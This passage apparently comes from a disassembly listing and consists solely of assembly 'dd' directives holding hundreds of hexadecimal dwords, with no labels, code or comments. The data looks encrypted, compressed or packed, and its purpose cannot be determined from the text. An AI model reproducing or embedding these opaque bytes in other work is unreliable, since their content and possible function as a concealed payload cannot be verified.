		dd 11E97DF0h, 2240D8B8h, 0CC250438h, 2D750095h,	26C57D12h
		dd 521C0035h, 0E8D12142h, 890F0548h, 34E922D5h,	0CEC11083h
		dd 7BEB4C77h, 8105E300h, 0A4801F3h, 9230184Dh, 0DC41AA2h
		dd 0BB0D13B5h, 7A0A0AB0h, 17E34A7Fh, 5EA58AAEh,	43834234h
		dd 2B5B1329h, 811F34FCh, 4D6887Ah, 0C601DFACh, 450B2C35h
		dd 18DD305Bh, 62036102h, 49D1F7h, 9DFC9EE2h, 46510897h
		dd 99F5125h, 9D543D68h,	0B84A66EFh, 0B094D879h,	4609BB53h
		dd 43493Fh, 2D372606h, 96DB825h, 7F6D6E42h, 80976EAh, 0B1F62B06h
		dd 0D00EB032h, 8C475C09h, 2D0C10DFh, 8C23960Ch,	18D3644Dh
		dd 48783A08h, 573B381Bh, 25CB0370h, 20BA10h, 19475570h
		dd 0F564E97Dh, 5680BCB1h, 5F466968h, 4E5E2F18h,	2A7C4B48h
		dd 9759620h, 3D9C9908h,	310C1E78h, 0D2405AD0h, 0FD5826ADh
		dd 38F50338h, 423C9D27h, 1BCD00D5h, 0E925735Dh,	2C2E4A44h
		dd 76EE682Eh, 59339CB7h, 0EEC4F8DEh, 0E5C147DFh, 0C2C599E2h
		dd 242E9C42h, 81A351DBh, 0C0433DE3h, 0EB4E2013h, 73312E14h
		dd 920E0494h, 13AB8DCEh, 56C5A3D9h, 0C7A34E5Dh,	99C45AC5h
		dd 0BD3E80A3h, 63FE3686h, 7E7F2A68h, 3AE9176Ch,	0C01BA5EEh
		dd 56716E1Ah, 341BE00h,	0E94E54BCh, 97479A45h, 0E97A891Eh
		dd 0E00DD91h, 54E4A29h,	61771762h, 20ADF07Ch, 25EAB15Dh
		dd 0B4BBC1D5h, 0B3829CC3h, 347609BBh, 0F6DED9C7h, 0FB669BC3h
		dd 0AF12C132h, 4F012534h, 4E2ECBD0h, 66FC9CDh, 0BC20FCE6h
		dd 2BEE5886h, 78B55880h, 14854A44h, 0A40E1D50h,	0C9BEF246h
		dd 0D81BE30Ch, 25BF15C1h, 645A9CD7h, 0B8C07D60h, 0F217250Eh
		dd 521F2864h, 0A6565A54h, 452B149Dh, 0D1ECBAF4h, 2A5FF80Eh
		dd 8A2A4A89h, 0D04D102Eh, 86364B4Ah, 0AE8AD522h, 510CDE90h
		dd 0B86AD201h, 0AFBCAC58h, 1CE36294h, 0F00CD385h, 3BC06D20h
		dd 5BF6C180h, 0C3CB4B88h, 0C3D10168h, 0E9B0C39Eh, 20BD54D9h
		dd 0BBEEA190h, 0FA292595h, 21420979h, 2621E4D0h, 409CE2F3h
		dd 0F240E12Ch, 5201ADBEh, 0B4A0E950h, 917F423h,	82D314C3h
		dd 146BE009h, 2A24337Eh, 0C1030727h, 0CA4004C3h, 5B3E50CBh
		dd 2C4F885Eh, 0D5820389h, 4AEE6891h, 0F5289EAFh, 0CB20E820h
		dd 0ECC01FB8h, 0DAFE8907h, 26F6B2EEh, 68C2D49Ch, 0E31A55D2h
		dd 0B72F7CE0h, 0F941897h, 952397ABh, 5903ADBEh,	0DF1180CBh
		dd 0E9E07A1Ah, 5E897BF0h, 0CA58AD9h, 8533C568h,	53C140D0h
		dd 5B74F660h, 4F03EBC0h, 0D9A8A656h, 0AB92307Ah, 0C8930FC1h
		dd 5A79D449h, 20660209h, 28EDB367h, 0E4E927D8h,	0C9055F80h
		dd 64580E47h, 970D2024h, 6D5EBE8Eh, 4D46A510h, 6F57B1DCh
		dd 0D011D5B3h, 0A11C2734h, 0F2E95FC8h, 295EF32Ch, 506132DCh
		dd 441395FEh, 880D640Ah, 9B7C0D91h, 0CE645127h,	47DDE912h
		dd 680934F2h, 38F641F2h, 0E93410D2h, 2747B6D3h,	0EA0288ECh
		dd 59B7C280h, 0D0137528h, 0DDE312FCh, 8015B203h, 61D7EEAh
		dd 282C02Ah, 0C166D2F6h, 5FA88E82h, 0FC6B2272h,	0E596EDB2h
		dd 42509692h, 56C602DCh, 85585FCFh, 5FB8BC50h, 62DBBE01h
		dd 2E3128FBh, 0CACBA153h, 0BC545C64h, 0F2BCA5B9h, 14642DC0h
		dd 1140679h, 270705F8h,	0AFBA535Fh, 3AF420E8h, 391F7EB3h
		dd 0C11BBAC1h, 0D04002EBh, 4CF8509Eh, 0BE293229h, 395903EEh
		dd 0F1E1921Fh, 0ACC7F85Eh, 0C49B7AAh, 24A1783Ah, 927BE53h
		dd 2DF3823Bh, 168AF26h,	497B6BF3h, 30E9D984h, 0E65B092Fh
		dd 49C5BA63h, 0DC207321h, 29230526h, 0F0291602h, 0A0078E2Dh
		dd 52C13231h, 60CFB05Eh, 429A7A55h, 81F4446Dh, 7E2EE603h
		dd 0B46715Ch, 3FFC32CEh, 0FD65102h, 42235C82h, 45C7080Bh
		dd 17649C9h, 25E91985h,	47C24106h, 2F609E55h, 90C0AB12h
		dd 0A045630Fh, 0E658C7A4h, 215F26F9h, 0DE827C5h, 8612F2F3h
		dd 855247B5h, 501C630Bh, 77BB0494h, 0C768C77Dh,	0C5BDE128h
		dd 61AECDDFh, 79D02E7Dh, 961B36E9h, 70D4A02h, 708471BAh
		dd 0D107A0B9h, 74E9420Bh, 0FBF7A05h, 3C3451DFh,	9AB8E67Ch
		dd 0AB60D3B9h, 0CE0189F1h, 78F68159h, 9E8BDA77h, 21A5EF2h
		dd 0EE266265h, 9241CAEDh, 12801A4Dh, 57F66852h,	60953054h
		dd 767A9D7Bh, 0D3012CC5h, 9808206Fh, 9330BCD5h,	0F94A91CEh
		dd 4FEB26CCh, 50289C9Ah, 0D8E55880h, 77B85E01h,	616C6222h
		dd 6FF1E5C2h, 37B03A13h, 57D7644Ch, 80B5E834h, 0EFF88DEEh
		dd 0F43161B1h, 74ED41E9h, 58EEE113h, 54BAFB59h,	9294017Ah
		dd 381FB980h, 27314281h, 17C259CFh, 2D5007C9h, 0E8582598h
		dd 0BEAAEC88h, 685560CBh, 129D1A20h, 2E2E4454h,	25C2525Dh
		dd 0DCE66769h, 12B7F922h, 0F9EB09C7h, 5312326Fh, 56C4ED56h
		dd 614B9DCFh, 2BB1199h,	5B68C05Ch, 0D5C7312Ah, 0DF3D8036h
		dd 4044ADE5h, 9155B08h,	83A31C77h, 300B69E9h, 0AC4AFB8Dh
		dd 2125D33Bh, 3F41FB5Fh, 955FB8F9h, 7267733h, 94CB795Ah
		dd 0ED833106h, 58E7966Ch, 0CC2568A4h, 8CD9C454h, 2A53581Ch
		dd 69393504h, 0F495F85Bh, 0E9A030EEh, 4DBED144h, 0E3C194B0h
		dd 609EBC03h, 22DBBD55h, 0BE2DF200h, 7A47A575h,	5DEE0901h
		dd 2504F331h, 0F6ED95FCh, 0A4E9C292h, 2880793Dh, 424B8D2h
		dd 506636B5h, 0E540C3B4h, 7DFA58B3h, 0BF4E7550h, 0E3FBE097h
		dd 0EFE9C4D2h, 134A6548h, 13AA003h, 55A9FFAh, 5D680160h
		dd 0A0F8B127h, 61F10494h, 0F95B541Dh, 52D184B6h, 515F6603h
		dd 1B0B998h, 32570EFh, 379AF6E4h, 0C1522694h, 1908BBA5h
		dd 0F1A2A94Fh, 0E3D6EF8Eh, 94544C6Bh, 43F2D271h, 0CD5B8748h
		dd 2E540D72h, 0EF295CD1h, 12FC90F7h, 0CC1E4B01h, 169859F9h
		dd 66D0A38Ah, 0EB633302h, 8CF016Fh, 0ECE91E08h,	0B9BA96FBh
		dd 54291031h, 60175E48h, 89E2A3CBh, 0C13F8956h,	0C72B5FD6h
		dd 951E954Ch, 6F6D3D98h, 5DE07122h, 0D5EA65A0h,	343B3527h
		dd 4F25129h, 0E9692008h, 7294E792h, 2587726Bh, 1632DF32h
		dd 0B300D276h, 5BDE88ABh, 74F07C28h, 0DCD84C5Ah, 0A635C615h
		dd 92E3032Ch, 2EC5A55Bh, 286C50D2h, 2C734DD7h, 6294B390h
		dd 1E2BFECBh, 51056801h, 556F6163h, 350F25E8h, 42558740h
		dd 0D705B62Fh, 3BB84581h, 45DA5D6h, 88D9A0CFh, 5B38473Ch
		dd 0C180FE43h, 37B6C154h, 31B9297Eh, 0FE848940h, 0FFFE006Ah
		dd 0A308E2C1h, 9003B6B7h, 6905355Bh, 27FCEC26h,	68F2C801h
		dd 62209684h, 7F4806E9h, 521E462Dh, 0C6954F66h,	11C14EBDh
		dd 994C1D43h, 67A22668h, 2E046F59h, 0A331AF54h,	5D02AB99h
		dd 95E71C75h, 9A985EEEh, 885200E5h, 0E1D0B0EAh,	7EC88014h
		dd 1558402Eh, 10A94016h, 0B5D12180h, 0C1D37832h, 5A90E99Dh
		dd 31545830h, 173EC879h, 0A9DC9A57h, 0B29C68E3h, 88BFB6D0h
		dd 183234F7h, 0C8336B10h, 0CC424DDh, 812CC0FEh,	0E93BC2AAh
		dd 0F88FE4F5h, 0E98244E2h, 0F253F56Fh, 3A033097h, 0BBA5B652h
		dd 2CE4C87Dh, 25679097h, 7800CFE9h, 0B8768EBBh,	0F39E29EEh
		dd 0B6EDAABFh, 0FE2EE1A0h, 3F8E149Eh, 28B66h, 0D530AFEDh
		dd 0E2169059h, 7EF10C4Bh, 0DA05D2F7h, 0D372E93Dh, 0DFC74CD9h
		dd 3B54BB52h, 0FCE12AC0h, 536434D8h, 2AC2000Ch,	1892F581h
		dd 0C10214A7h, 17E907EDh, 0ADE249D5h, 0BBD053C9h, 984E78C6h
		dd 8E6C9780h, 64332DFCh, 0F8551D5Ah, 0F93096BDh, 6AF25A8Ch
		dd 5D7EE81Ah, 0B853E972h, 0A30D59A1h, 0E45FE2E9h, 70B8006Eh
		dd 0C9815DC4h, 0AA255953h, 77D7012Ch, 0D9C868F7h, 0C2A2DE9h
		dd 123F09E7h, 0F3905BD9h, 2C3B23EBh, 0A6A54855h, 0F6D3029h
		dd 6812C0B7h, 52C9523Eh, 327DDF41h, 6370316Bh, 0C38000BCh
		dd 7BF3E6EFh, 0F9B94D2Eh, 5FF9010Fh, 27DD2806h,	7872EB25h
		dd 0B5E273A1h, 0C3007045h, 36C96EB4h, 0CF44ED29h, 80EB084Bh
		dd 4A97BAC2h, 8794C56h,	9662721Fh, 0AD190F39h, 8AE23EAh
		dd 3BA5C969h, 4345F1DAh, 0EE2A342Eh, 0A5E24C27h, 0D0210222h
		dd 32B7BF4Ch, 0D421D5FEh, 3855CBE9h, 0D4018005h, 0CE7816Bh
		dd 29D74D59h, 5FF80596h, 0C959AA4Ch, 9D367A5Ah,	7964BB0h
		dd 94F7596h, 6DD8297Bh
		dd 0D35409B5h, 0F08C2ED1h, 0B7EA332Dh, 0AE544538h, 0BD585980h
		dd 883FC021h, 0E6BA20D1h, 4BBE1F59h, 20BAC631h,	2D84FB7Ch
		dd 85F8C545h, 90CEB96Eh, 4DC44B0Dh, 7A0BA415h, 51258198h
		dd 0D20AC632h, 564904AFh, 1B46AAD9h, 0C40CA4D6h, 13E65D40h
		dd 0E404A8Dh, 12846BF5h, 10CB0108h, 0F25A0860h,	5FEFD06Ah
		dd 0E9176FCAh, 84565244h, 3B08B110h, 281643D1h,	2F37BD00h
		dd 845B7F2Fh, 1AA01FD2h, 3156CE33h, 81122F79h, 76B6CD9Bh
		dd 0F5201354h, 372B1799h, 5D780945h, 0A0027754h, 5528B541h
		dd 780E8A87h, 0F7C0FF3Ah, 937FCABDh, 81450025h,	0D346DBEDh
		dd 0EE028901h, 8E684E5Dh, 6E985D36h, 9D2E291Ch,	62132845h
		dd 688358BCh, 5F7F6D6Ah, 0A105034Dh, 9D2A617Ah,	5BD32053h
		dd 4A4F6880h, 0DDE0310Eh, 0D87B2456h, 5EB4DF6Bh, 4128EDC0h
		dd 2B23C1BFh, 20CCF65Dh, 19F28546h, 0D6EC42F5h,	58302DD5h
		dd 0E953B0D4h, 65BD4BC2h, 76D08BCCh, 80040242h,	0E52871F2h
		dd 33448B8Eh, 7A10D430h, 0DF49684Ah, 1F393F53h,	4EB2493Eh
		dd 0D8A06158h, 0D2F302C0h, 19819BE4h, 1B176A5Dh, 3A94D5F2h
		dd 9725D512h, 78441h, 0FD667905h, 7A2D014Eh, 2924533Fh
		dd 78FF2F0h, 0BB401194h, 0E7AF41A2h, 0D8F3DC17h, 0CEFD3B89h
		dd 36C3D754h, 0EEC2FDC1h, 0C265FC29h, 95C01h, 0EA0D58A2h
		dd 0A0C15B3Ch, 6109F2A6h, 466F0Ch, 5B58D3F5h, 63C2B815h
		dd 30401206h, 9CDC148Ah, 53477409h, 0B4E9E2CBh,	0BE015B5Eh
		dd 416A1C7Eh, 5E8A0B6Ah, 0C60109C0h, 5FA68CC1h,	4FF56EF9h
		dd 714BC738h, 6154519Ch, 79A9D11Ah, 0D636D226h,	29099772h
		dd 49A8D2F1h, 0FA12C65Bh, 0EC907B6h, 4CB86958h,	575204BEh
		dd 3CE99998h, 6557E04Dh, 0A2845CEFh, 0FCEBA500h, 259D7FF6h
		dd 0E541C3E9h, 55A2755Eh, 0E01AE9D1h, 0B7348B5Ch, 0E8207AC4h
		dd 61595EA4h, 6E7B1C64h, 20728930h, 0E97E0B91h,	83B045A1h
		dd 3A0B5387h, 495A5071h, 137BFDF7h, 0B2D4EC1Eh,	7064E0E8h
		dd 0EB4748FAh, 103E8E4Bh, 0E9126205h, 315D827Fh, 26C76EE3h
		dd 0E4B51153h, 0CCAEBE0Dh, 6F12BEE0h, 530BC07Eh, 0A26AFA61h
		dd 3C209EBh, 0F226E482h, 0BE7C6859h, 0AB3A1F39h, 0F9F68723h
		dd 31200268h, 2F7083D8h, 1A2669Dh, 57C8B60Fh, 3C618D68h
		dd 46F692E7h, 0ED8B6C27h, 72BE7194h, 3009E961h,	3E0BDC69h
		dd 5F029922h, 0B046AEA8h, 322768F2h, 30C07B41h,	9152D148h
		dd 335240BDh, 0BE6E2DADh, 0E9FE0770h, 5B229A5Dh, 64CEFFB2h
		dd 0C1356181h, 0CD2E20E5h, 4B23FE16h, 8AFC1316h, 2E9CB9A0h
		dd 2F553Fh, 292550E1h, 1ED9F75Ah, 0F904E9C1h, 0A3548886h
		dd 970B8C39h, 60636073h, 13EF8965h, 0E5E46EE9h,	2AF4DD00h
		dd 0CFCC613h, 5F165F48h, 89D89CEDh, 3AB8FB7Ch, 1C49860Bh
		dd 0A027DC70h, 76E92D08h, 7308C253h, 0C2DD2631h, 4CE0D801h
		dd 62096968h, 8F5A021Bh, 0E94AA241h, 4827030h, 0B68C80Fh
		dd 12F7B358h, 70B7A21Dh, 0E9DA2916h, 1C9491C2h,	3F2A0168h
		dd 2B42C381h, 3CAEE484h, 6C1D3B5h, 0A082E99Ch, 16C02A92h
		dd 1A301F8h, 0C880C2FEh, 0D35A3097h, 0C9203483h, 6847FF3h
		dd 0ECF8E977h, 68157F47h, 75F4CE8h, 0DEF6EE88h,	0C88BF544h
		dd 0DBC58002h, 0EE56EAE9h, 0BF575B00h, 7C357C3Ch, 0F2125962h
		dd 96CC3135h, 8CFC0D65h, 0DD268DBCh, 5200D923h,	0B1685057h
		dd 287A2E61h, 164E1066h, 0F5A6C729h, 1649A75Ah,	84B4457Eh
		dd 6421E5F9h, 1EF5E831h, 2D00876Ch, 6FCE0758h, 0EE01055Fh
		dd 0E94EFA3Ch, 0F3244865h, 6B507851h, 290411E2h, 565A029Fh
		dd 5F07E53h, 0AE405921h, 35BEAB00h, 1368F517h, 5BDE31h
		dd 0D4663601h, 0CB904E7Eh, 0C8486A00h, 6E0C155h, 27BE012Dh
		dd 4BE93BFDh, 0C0D82E2Ah, 240D9E6Bh, 0CF7AC2E8h, 872EDC0Bh
		dd 5B1D1CF8h, 255C6D5Ch, 62039E9h, 2B5D82EEh, 0B92A6C98h
		dd 9EA0DAA6h, 5481A1AAh, 3038D97Bh, 9ABA5CE8h, 748C898h
		dd 4FD8049Eh, 0C8A35278h, 0FB8EC17Ch, 302AAA27h, 0AD683FB6h
		dd 0CA078363h, 5F09867h, 730A72h, 4FAC3523h, 7CE9FBFEh
		dd 26CCC55Ah, 0C0D24017h, 0C8FEDAC3h, 20EB604h,	1CB15102h
		dd 0EB764AE9h, 3E685F02h, 620EF44Fh, 0FBC64818h, 8F9D5248h
		dd 61D7C95Ah, 914480EFh, 0E816E986h, 3BCF882Ch,	817F7FCh
		dd 6808FE88h, 245A17BAh, 8482E29Bh, 0B9D7B3E9h,	569EBF53h
		dd 0C104D20Ah, 0C7310CE8h, 0FA489810h, 41F9DF93h, 3FD91C2Dh
		dd 4B2A6861h, 91C8372Ah, 615ED819h, 62413DE9h, 0C108D20Ch
		dd 0C4205108h, 1263006Dh, 7666B914h, 31277896h,	0ACEEF9F9h
		dd 0B97D0940h, 548B272h, 6C910570h, 0F51C4F1Ch,	446FF204h
		dd 0F15EADE8h, 0C195608Bh, 8F05EE24h, 6607EC10h, 43CE18BDh
		dd 5DBBEA29h, 0F7900A51h, 19A25h, 0B450F300h, 7054AE9h
		dd 74EAD1E6h, 5F14AC75h, 5AF3C48Ch, 4AB4CE5Eh, 498C582h
		dd 0BD6EC3C1h, 5AD60C38h, 6AE9BA47h, 8670A8EBh,	0C6738800h
		dd 0FE7C2978h, 0E55F4A08h, 5CB219Fh, 0F843EF0Fh, 9142728Fh
		dd 4195C01h, 360DF40Ch,	0D4CBE2B5h, 0D847C7AEh,	4F12712Dh
		dd 33F2CDh, 7B58E0B4h, 55858D5Fh, 27B04BFCh, 3096B2Ah
		dd 765EF729h, 0E19085Eh, 82E38100h, 956A5717h, 7F202FECh
		dd 0FA31399Eh, 98DD726h, 0BAFCCBB0h, 0AAA664EFh, 2B9144BBh
		dd 0F78E5910h, 0EEC794CFh, 71B4A665h, 68E69702h, 0EE9DB22Fh
		dd 4950F6AAh, 0EF16DDDCh, 0AE020A02h, 25AA0020h, 906871D3h
		dd 992DDD06h, 765597E9h, 4E9C4F4Fh, 7341C5BCh, 7755537Dh
		dd 31A45BCDh, 43B42BE9h, 14CF0297h, 4E4A5B66h, 465000DFh
		dd 2506F1Ch, 38916851h,	71627299h, 0D95FDA60h, 7616604Ch
		dd 0E8277D4h, 7D7F2301h, 81626B4h, 0DE1FAA05h, 2F746500h
		dd 2811665h, 0ADFC1AEFh, 65602911h, 5D81E6DEh, 9CA1770h
		dd 5A1B1A44h, 570773F6h, 506B63D9h, 0B556C5FBh,	0E167A846h
		dd 0A147C183h, 4D0EFC04h, 66D4EEC9h, 0C3A30193h, 68CDD78Fh
		dd 79F2010Fh, 4626BE8h,	0F2A0559Eh, 0BD555DEAh,	0A04E780Bh
		dd 745F07Bh, 0B184F581h, 23253D5Fh, 4E4758A0h, 2ACB4416h
		dd 8813CB7Dh, 0DC40D882h, 32F9F02Bh, 0FB956BAAh, 0BB76DDABh
		dd 0A959CE0Eh, 6DC382F1h, 0BA680148h, 5E44737Bh, 0ABB45F35h
		dd 51616501h, 0C5F956Fh, 890D5C75h, 305EF524h, 0A5F31D16h
		dd 8035FB2Ch, 0CFFEDFF6h, 8B12EF80h, 77A6F920h,	0C0C9017Eh
		dd 0F18002E1h, 0EB436B08h, 0A2C83067h, 982558ABh, 5ED3B0C0h
		dd 0B17C0A0Bh, 9CF1390h, 0D1DCC702h, 3AA25485h,	0CDCD0BBEh
		dd 0D498E7AFh, 0E158559Ch, 40B8484Dh, 104FE907h, 5CC1330Dh
		dd 5AC8C430h, 0B7E94121h, 0F934B337h, 4AB7382Dh, 6981AFB0h
		dd 0C576749Bh, 9CF9407Ah, 0E9F0963Ch, 18C13E46h, 44ED3190h
		dd 11230C82h, 64362CAh,	34082AF7h, 0D014110Ch, 5C028788h
		dd 0C611D768h, 0C3575E75h, 0DAC1C3CEh, 0C7442B5Bh, 0E0E961AFh
		dd 6866C0A4h, 0C41F16F6h, 0F79C5F26h, 4ABA4E41h, 4360EFC1h
		dd 0B23D4F9Dh, 29DF58C9h, 10ACFA1Ah, 3F626E08h,	74094E74h
		dd 292682B8h, 1960E1F6h, 18553549h, 647D7F7h, 80B558E9h
		dd 7993680Ch, 8D8FBF11h, 20BFA377h, 0FC6A9F81h,	6861C37Eh
		dd 745A50A0h, 125CE65Bh, 0DD56A5E9h, 48EEF5B4h,	46002606h
		dd 21114F5Fh, 0F7175EF2h, 0F30950DAh, 0F130E42Dh, 88DBE8C2h
		dd 187276Ch, 1FC20E71h
		dd 29A5514h, 744C0955h,	0B4EE8020h, 133A644h, 53CDE48h
		dd 2D9C0F6Eh, 8107BD00h, 300A9DE7h, 0D70C799Bh,	105C4948h
		dd 161B4DCEh, 0F009EE01h, 49BAD6BEh, 0F65642B1h, 0EB03A3D9h
		dd 0FD854230h, 74150DAEh, 60CFDD9Fh, 0F1602952h, 2FB4F69Bh
		dd 0F93248D8h, 0C9E3414Fh, 6066264Bh, 1D0BC1E5h, 163CC233h
		dd 38687DADh, 82CB6B48h, 9D283CBBh, 3B6C7025h, 0B8BA834Fh
		dd 6B81B188h, 0C3CB5B1Ch, 504A7458h, 1D5D8568h,	99BD85EAh
		dd 314F38EEh, 0E906E394h, 7CFAF26h, 60935EFh, 0F0A4B4C6h
		dd 674A68CCh, 447A7BCDh, 24129E8h, 5CA30F66h, 71859994h
		dd 7123FDBEh, 196E819h,	0F9493C9Eh, 0AC60422Bh,	23082005h
		dd 125E9762h, 7F6204FFh, 0E7B48252h, 0E4C7A9C0h, 0D0100238h
		dd 5012ABE2h, 0E2F579E3h, 0B05F0802h, 5AAD68F1h, 0CF39CC0Dh
		dd 9C2A6EE7h, 5A049158h, 0AF3E7C2Ch, 23AB3620h,	0A00F419Dh
		dd 0E918083Ch, 0E3573D1Ch, 14F33768h, 0BA3F4E7h, 0E9A5F65Ah
		dd 0E1CEAA02h, 6231B7A2h, 0EC5BE261h, 45954F04h, 0A00513C9h
		dd 0FD0030B0h, 0D5B0505Bh, 104C0FEh, 24472C75h,	0C86234A1h
		dd 0C53F284Fh, 7ED0E58h, 0E1E962D0h, 2DA95A22h,	16BAEBECh
		dd 667C0640h, 0E93AFE09h, 792BA9B3h, 2E6AEB03h,	33010952h
		dd 0C119FA44h, 893A07EBh, 58B20F59h, 7A272553h,	79F705D3h
		dd 0C2168F5Bh, 0C143F259h, 404A5AA9h, 646CFBB9h, 0D461167h
		dd 0FF0899C2h, 0A68BA009h, 5D453589h, 0E05514h,	1E2B311Fh
		dd 922617E9h, 8AEA487Fh, 2ED501B1h, 0BDC2262Ch,	1255F089h
		dd 90967500h, 6C061AD3h, 9F2EF3A8h, 0CF68CCE9h,	0C56CA63Bh
		dd 0F9F68441h, 0CC30C268h, 0E9600724h, 96524C48h, 0FA5653A0h
		dd 1B251310h, 0D6B2003Fh, 488CE81h, 8D2FDE26h, 546A023Eh
		dd 0DEF289EFh, 103C263Dh, 0F09D33Ah, 0B5835042h, 49FA38CEh
		dd 0C3FE38FDh, 2F4BDB68h, 3C41F51Dh, 7D243B33h,	0A6E48D71h
		dd 3F80F04h, 6298C3DCh,	0E3B073A1h, 42EE4710h, 0DB0C18CEh
		dd 0D0B45B6Ah, 0E6C4E92Fh, 20E6469Dh, 0B4C929C5h, 0A6A87456h
		dd 0CE6502F0h, 0A2715F55h, 0CA516BA7h, 526830C8h, 7E316D5Ah
		dd 228DE2Ah, 2257BE80h,	9BA326C2h, 405830FAh, 31DE5E5Eh
		dd 162B8145h, 82F20944h, 3ED0F4E2h, 4D5F737h, 15AC3EC4h
		dd 555204Ah, 140B5EEAh,	84F8015Dh, 0B8132CA2h, 3410361h
		dd 44552840h, 7729BACCh, 21A25F7h, 3396D679h, 7A893D27h
		dd 1388128Eh, 4BC3B35Bh, 8E9A6D0h, 908B32Ch, 0A97196B5h
		dd 0EB29732Dh, 64EB4EDCh, 34E916F7h, 57EDCCDDh,	5E625458h
		dd 18CF3F17h, 820F8D4Ah, 0FDE95C0Dh, 5E26A4E1h,	40EF329Ch
		dd 0C5B33F6h, 45D15326h, 0F8B4314Dh, 0C0B20B63h, 0D9317808h
		dd 0B49E0B47h, 8DFC8C09h, 42EA9435h, 861E92Eh, 52EF690h
		dd 480C193Eh, 4E9A50BEh, 6FEB1DC0h, 2784C3Eh, 0AE5FB850h
		dd 0C3C80F9Eh, 763B9005h, 0DCE1DFD5h, 468B0704h, 0F612A442h
		dd 2CFD24F1h, 982CE994h, 86C25436h, 0EB335725h,	0AA840283h
		dd 3F6C1CCDh, 0AB0DE909h, 4E7C822h, 1DE195C0h, 79687F3Bh
		dd 0F719150Ch, 80061E73h, 7EFEBFC4h, 822EE924h,	1426BE80h
		dd 7C011B20h, 34C02DF5h, 0AA3F0213h, 44BB16F7h,	807B824h
		dd 0B2B93AE9h, 565A7C26h, 3825229Dh, 92E85B0Bh,	632DAF54h
		dd 0F75E882Fh, 4944489Dh, 312C8195h, 8F8F7BABh,	0BA020C64h
		dd 0D84F229h, 0AB4019E9h, 0ECE794CDh, 9B68C8D0h, 6199BF28h
		dd 4D87385Ch, 78192F5Dh, 0FD0116BAh, 0BB8B125Fh, 63E95771h
		dd 3C525624h, 8919B3B6h, 0D9DA5346h, 7CFA61D1h,	0C831C5CBh
		dd 0E913FEE3h, 562A8250h, 3186CC8h, 680FF037h, 68675C90h
		dd 203849E9h, 0F7015E0Ah, 0ED22FF3h, 0C0676AF3h, 0B4BD58D4h
		dd 21D36617h, 94A2C0h, 2C8015Bh, 0F70E6705h, 10D65977h
		dd 4BE9AB4Ch, 282709F6h, 0A90812D1h, 13922451h,	0F6594A7Ch
		dd 5F7346D6h, 112EBD71h, 250B75ABh, 9463D1E4h, 6809E4F7h
		dd 0FFF23C9Ah, 40C850F6h, 0C81A053h, 6CF1137Fh,	790EDDD8h
		dd 733117C2h, 13EBFBB0h, 87AF830h, 2C0ACE57h, 0D1135379h
		dd 67FF8184h, 3F4FC362h, 8BBABE3Eh, 0D479C82Ch,	39EE8083h
		dd 57182A4Eh, 5488BF4Fh, 12D0CC7h, 100C2911h, 25B51F13h
		dd 0B951E100h, 4E657BC9h, 0B63DC205h, 5C12EED6h, 93EDD804h
		dd 0EF015903h, 0A5BA1210h, 5E6C101h, 26067E68h,	5C4406FFh
		dd 0BFE7A5Fh, 5BAF7BAEh, 0CF8184A0h, 0AD301863h, 8FF0C28h
		dd 503C48FEh, 75C43F03h, 0C9CC016Bh, 329E7A1Ah,	87565C17h
		dd 1A2781A6h, 0AD847F25h, 3F8A0712h, 30D0212Dh,	0C7F7E72Ch
		dd 0A4971C44h, 0B0F7F266h, 0EE0279FDh, 77D98347h, 59959238h
		dd 0EAC8FFB2h, 4A44E9E2h, 0F0DAF8D4h, 3B75911h,	3AF41C7Eh
		dd 0BD558082h, 248C4BAFh, 20DDF72Dh, 482AD029h,	46899764h
		dd 1DCF1680h, 3ECF3B5Ch, 49132595h, 0F68D13BBh,	0F4D75D2h
		dd 801D2806h, 221E534Eh, 481406C6h, 0D4D80B0Ch,	85786460h
		dd 334C13A0h, 0E92AA905h, 0B1A23FB3h, 906BE75Eh, 6CA299C2h
		dd 1C6B77Ch, 0F4A1104Ch, 0DAA22AF3h, 0AF93202Ch, 8B745B7Ah
		dd 81CC4280h, 5E057F64h, 0BF292B4h, 5DAC7850h, 5F3C39EAh
		dd 3C685B84h, 8D34FA6Ch, 28F2C090h, 5A340A95h, 9076856h
		dd 5C2E0E9h, 44B3B4D8h,	0FBD8AD3Ch, 2158097Ah, 35726730h
		dd 47093072h, 44D8B7E9h, 464B537h, 0D0D5C34Fh, 2D790FF8h
		dd 6067DCEBh, 61F8F12Dh, 7A66C331h, 93557C3h, 7CF568FFh
		dd 0D25AE2F6h, 44A9B74Fh, 0C35C1A80h, 42BD2D8Dh, 29B8F87Dh
		dd 3D6EDD31h, 69FAE8A7h, 9C9260B3h, 0DDF66A80h,	4DF50980h
		dd 0E3FEC5FEh, 0BDAF923Fh, 0D86AC2DDh, 46415660h, 0C177E42Ah
		dd 310804BDh, 71421BAh,	88BC74C2h, 0FD7AC772h, 22BFD2ECh
		dd 5BEF203h, 881ACD89h,	0A6C201B9h, 74D82D51h, 0A804149Dh
		dd 0C710D01h, 478F627Dh, 0A5EBB30h, 834698CDh, 123C4EF5h
		dd 1630ECE1h, 0A2E8F3C9h, 764698CCh, 0A0F40BFh,	0E94F0D68h
		dd 0F3B1EF6Eh, 0C77C52C8h, 0DD4F6A7Ch, 39C2D85h, 0C4549458h
		dd 0A88AAF02h, 0E9A98C4Bh, 68D50825h, 0F256502Eh, 250CB6C5h
		dd 0D780E2E2h, 10BE121Ah, 4DFF734h, 74C21285h, 9CBB85Bh
		dd 0A4B98019h, 25BB5913h, 6401200Bh, 5BE40964h,	115D37ADh
		dd 806F5DF2h, 3E272294h, 0C6814F03h, 76C942B5h,	962B09DEh
		dd 0E662AFF8h, 7CF79C41h, 0D0BB4DE2h, 829B24E9h, 0EB8DF9AFh
		dd 0DBE11A10h, 0F0BFC4B5h, 0D4E8975Bh, 7C04ED81h, 294CAE11h
		dd 84C58FC2h, 75828908h, 809E914Ah, 0E00FDBBEh,	2C245557h
		dd 1045EFD1h, 29BEC9A0h, 8926299Fh, 0B5844E2Dh,	0C00114Ah
		dd 0E9D6015Ah, 40DB0C6Dh, 0B5643Eh, 63C80515h, 0E9272598h
		dd 305C61CEh, 0B4F28C7Fh, 6BB6325Ah, 0C0FC0050h, 1E2EBFB3h
		dd 18984D86h, 6C3DE00Bh, 33D60004h, 166E0B0Fh, 5EB61BE9h
		dd 7CEBCE63h, 1318F094h, 0FBC10A77h, 875C6B7Eh,	5472854h
		dd 522C8BB7h, 45A03C83h, 9295B929h, 0F6738194h,	950831D5h
		dd 9EF1C668h, 8D40AA56h, 0F6C79BFh, 3E2DB0A4h, 6F0955D1h
		dd 2F07FB01h, 2D6372EAh, 0CD456CC1h, 0D8E040DDh, 68167349h
